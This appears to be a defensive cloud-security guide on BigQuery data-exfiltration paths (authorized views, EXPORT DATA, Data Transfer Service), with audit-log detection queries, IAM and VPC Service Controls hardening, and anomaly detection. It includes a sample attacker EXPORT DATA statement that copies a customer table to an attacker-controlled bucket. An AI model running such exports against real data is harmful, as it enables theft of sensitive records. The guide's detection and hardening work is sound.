BigQuery is where organisations put their most sensitive data: transaction records, customer PII, health data, financial models, and AI training datasets. It is also a service whose sharing mechanisms are designed for breadth — cross-project queries, authorized views, federated data access, scheduled exports — and where data loss controls that work on traditional databases don’t map cleanly.
Three BigQuery features in particular create exfiltration paths that are both effective and underdetected:
- Authorized views: Granting another project read access to a subset of your data via a view
- External tables: Mounting attacker-controlled Cloud Storage buckets as BigQuery tables, then using INSERT INTO SELECT to copy data out
- BigQuery Data Transfer Service: Scheduled exports to attacker-controlled destinations
This guide covers how attackers exploit each path, what BigQuery audit logs capture, and how to close the exposure.
Attack Path 1: Authorized Views for Cross-Project Data Exfiltration
How It Works
Authorized views allow you to share a BigQuery view with another project without exposing the underlying tables. The legitimate use case is sharing a filtered view of sensitive data with an analytics team in a different project.
An attacker with bigquery.datasets.update permission (included in roles/bigquery.dataOwner) can add a view in an attacker-controlled project as an authorized view in the victim’s dataset. Once authorized, that view can query the victim’s tables — including joining them, filtering them, and writing results to tables in the attacker’s project via a scheduled query.
The victim’s dataset audit log shows the authorization being added. The actual data access then occurs from the attacker’s project, and the query logs appear in that project’s audit trail, not the victim’s. Cross-project query logging is easy to miss if you’re only monitoring your own project’s logs.
The Permission Chain
Attacker has: bigquery.datasets.update on victim dataset
→ Attacker adds their project's service account as an authorized view
→ Attacker creates a scheduled query in their project:
SELECT * FROM `victim-project.dataset.table`
→ Data flows to attacker's project with no network exfiltration indicators
Detection
-- BigQuery audit log query for authorized view additions
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS actor,
protopayload_auditlog.resourceName AS resource,
JSON_EXTRACT_SCALAR(protopayload_auditlog.metadataJson,
'$.datasetChange.reason') AS change_reason,
protopayload_auditlog.requestJson AS request_detail
FROM `PROJECT.DATASET.cloudaudit_googleapis_com_data_access`
WHERE timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 7 DAY)
AND protopayload_auditlog.methodName = 'google.cloud.bigquery.v2.DatasetService.UpdateDataset'
AND protopayload_auditlog.requestJson LIKE '%authorizedViews%'
ORDER BY timestamp DESC;
Hardening
Restrict bigquery.datasets.update to a small set of data platform administrators. Neither roles/bigquery.dataViewer nor roles/bigquery.dataEditor includes this permission — it requires roles/bigquery.dataOwner or a custom role. Audit who holds dataOwner at dataset and project level regularly.
Attack Path 2: External Tables for Outbound Data Movement
How It Works
BigQuery external tables allow you to query data stored in Cloud Storage, Google Drive, or Cloud Bigtable as though it were a native BigQuery table. An attacker can also go the other direction: create a new dataset, use CREATE EXTERNAL TABLE pointing to an attacker-controlled Cloud Storage bucket, then run INSERT INTO EXTERNAL_TABLE SELECT * FROM victim_table.
Because BigQuery doesn’t support direct INSERT into external tables (the data materialises via CTAS or export), the actual exfiltration path is EXPORT DATA OPTIONS or CREATE TABLE ... AS SELECT targeting Cloud Storage:
-- Attacker-executed in a project they control with access to victim tables
EXPORT DATA OPTIONS(
uri='gs://attacker-controlled-bucket/exfil-*.csv',
format='CSV',
overwrite=true)
AS SELECT * FROM `victim-project.sensitive_dataset.customer_table`;
What Makes This Dangerous
The EXPORT DATA statement is a supported BigQuery feature. It generates an audit log entry, but if monitoring is not configured to alert on exports to external bucket paths, it goes unnoticed. The data lands in Cloud Storage controlled by the attacker, who can then gsutil-sync it out.
The required permission is bigquery.tables.export (included in roles/bigquery.dataViewer — a seemingly read-only role that in fact allows bulk export).
Detection
-- Detect BigQuery EXPORT DATA to external Cloud Storage paths
SELECT
timestamp,
protopayload_auditlog.authenticationInfo.principalEmail AS actor,
protopayload_auditlog.resourceName AS source_table,
JSON_EXTRACT_SCALAR(protopayload_auditlog.metadataJson,
'$.jobChange.job.jobConfig.extractConfig.destinationUris[0]') AS export_destination,
JSON_EXTRACT_SCALAR(protopayload_auditlog.metadataJson,
'$.jobChange.job.jobStats.extractStats.destinationUriFileCounts[0]') AS file_count
FROM `PROJECT.DATASET.cloudaudit_googleapis_com_data_access`
WHERE timestamp > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 24 HOUR)
AND protopayload_auditlog.methodName LIKE '%jobs.insert%'
AND protopayload_auditlog.metadataJson LIKE '%EXTRACT%'
ORDER BY timestamp DESC;
Alert on any EXPORT DATA job where export_destination does not match a known, approved Cloud Storage bucket path. Your approved export destinations should be an explicit allowlist, not an implicit “our project buckets” assumption — cross-project bucket ownership is the attacker path.
Hardening
Remove bigquery.tables.export from roles granted to analyst users unless export is explicitly needed. Consider a custom role that grants bigquery.tables.getData and bigquery.jobs.create without the export permission. Alternatively, restrict outbound data movement to a controlled export service account that routes to monitored destinations only.
Enable VPC Service Controls around BigQuery: this is the most effective control for preventing data exfiltration via BigQuery APIs. A VPC Service Controls perimeter prevents BigQuery API calls that cross the perimeter boundary, including EXPORT DATA to buckets outside the perimeter.
# Check current VPC Service Controls perimeter configuration
gcloud access-context-manager perimeters list --policy=POLICY_ID
# Add BigQuery to a restricted services perimeter
gcloud access-context-manager perimeters update PERIMETER_NAME \
--add-restricted-services=bigquery.googleapis.com \
--policy=POLICY_ID
Attack Path 3: BigQuery Data Transfer Service for Scheduled Exfiltration
How It Works
BigQuery Data Transfer Service supports scheduled transfers to various destinations. An attacker with access to a project can configure a transfer job that periodically exports BigQuery data to Cloud Storage, then configure a Cloud Storage transfer to move it to attacker-controlled infrastructure.
The BigQuery Data Transfer Service API call is bigquerydatatransfer.googleapis.com — it appears in Cloud Audit Logs under Data Access logs, but only if that service’s audit logging is explicitly enabled (it is not on by default for all operations).
Detection Gap
Many environments have BigQuery audit logging configured but don’t include bigquerydatatransfer.googleapis.com in the scope. Verify your Cloud Audit Log configuration:
# Check which services have data access audit logging enabled
gcloud organizations get-iam-policy ORGANIZATION_ID \
--format=json | jq '.auditConfigs[] |
select(.service | contains("bigquery"))'
If bigquerydatatransfer is not listed, Data Transfer Service operations generate no audit trail in your logging sink.
Hardening
Add bigquerydatatransfer.googleapis.com to your Cloud Audit Log data access configuration. Alert on any new transfer configuration creation, particularly those involving service accounts not in your approved list.
IAM Baseline for BigQuery
Most BigQuery exfiltration paths require permissions that are over-granted in typical deployments. The table below maps attack paths to the minimum required permission:
| Attack Path | Minimum Required Permission | Default Role Granting It |
|---|---|---|
| Add authorized view | bigquery.datasets.update | roles/bigquery.dataOwner |
| EXPORT DATA | bigquery.tables.export | roles/bigquery.dataViewer |
| Create transfer job | bigquery.transfers.update | roles/bigquery.admin |
| Cross-project query | bigquery.tables.getData | roles/bigquery.dataViewer |
The bigquery.tables.export permission being included in dataViewer is the most counterintuitive. Most security teams assume viewer-level access is safe for broad analyst grants. In BigQuery, it enables bulk data export. Review who holds roles/bigquery.dataViewer at dataset and project level.
Detecting Anomalous Query Volume
Beyond the specific API-level detections, anomaly-based detection on query bytes processed is effective for catching large-scale exfiltration that doesn’t trigger API-level alerts:
-- BigQuery query volume anomaly detection
WITH daily_user_stats AS (
SELECT
DATE(creation_time) AS query_date,
user_email,
SUM(total_bytes_processed) AS bytes_processed,
COUNT(*) AS query_count
FROM `PROJECT.DATASET.INFORMATION_SCHEMA.JOBS_BY_PROJECT`
WHERE creation_time > TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 30 DAY)
GROUP BY query_date, user_email
),
user_baseline AS (
SELECT
user_email,
AVG(bytes_processed) AS avg_bytes,
STDDEV(bytes_processed) AS stddev_bytes
FROM daily_user_stats
WHERE query_date < DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY)
GROUP BY user_email
)
SELECT
d.query_date,
d.user_email,
d.bytes_processed,
b.avg_bytes,
(d.bytes_processed - b.avg_bytes) / NULLIF(b.stddev_bytes, 0) AS z_score
FROM daily_user_stats d
JOIN user_baseline b USING (user_email)
WHERE (d.bytes_processed - b.avg_bytes) / NULLIF(b.stddev_bytes, 0) > 3
AND d.query_date >= DATE_SUB(CURRENT_DATE(), INTERVAL 7 DAY)
ORDER BY z_score DESC;
Flag any user or service account processing more than 3 standard deviations above their baseline in a single day. This won’t catch an attacker who paces their exfiltration slowly, but it is effective against bulk extraction.
CMEK and Access Transparency
Two additional controls for high-sensitivity BigQuery datasets:
Customer-managed encryption keys (CMEK): Encrypting BigQuery datasets with CMEK means that an attacker who exports data but loses access before decrypting it gets ciphertext they cannot use. CMEK doesn’t prevent exfiltration but degrades the value of successfully exported data. Revoke the KMS key to prevent decryption of any data already exported.
Access Transparency logs: For organisations with Google Cloud’s Access Transparency feature, Google’s own administrative access to BigQuery data is logged. This provides audit coverage for the Google support access path — relevant for high-assurance environments.
Summary
BigQuery’s data sharing features are powerful and legitimate but carry data exfiltration risk that most cloud security teams underestimate. roles/bigquery.dataViewer is not a safe grant for all analysts — it includes export capability. Authorized views create cross-project data access that generates logs in the accessing project, not yours. VPC Service Controls is the most effective control for preventing API-based exfiltration. And BigQuery Data Transfer Service audit logging is not on by default.
Audit your BigQuery IAM grants, enable data access audit logging for bigquerydatatransfer.googleapis.com, and implement export destination monitoring. The exfiltration signals are there — you just have to be looking for them.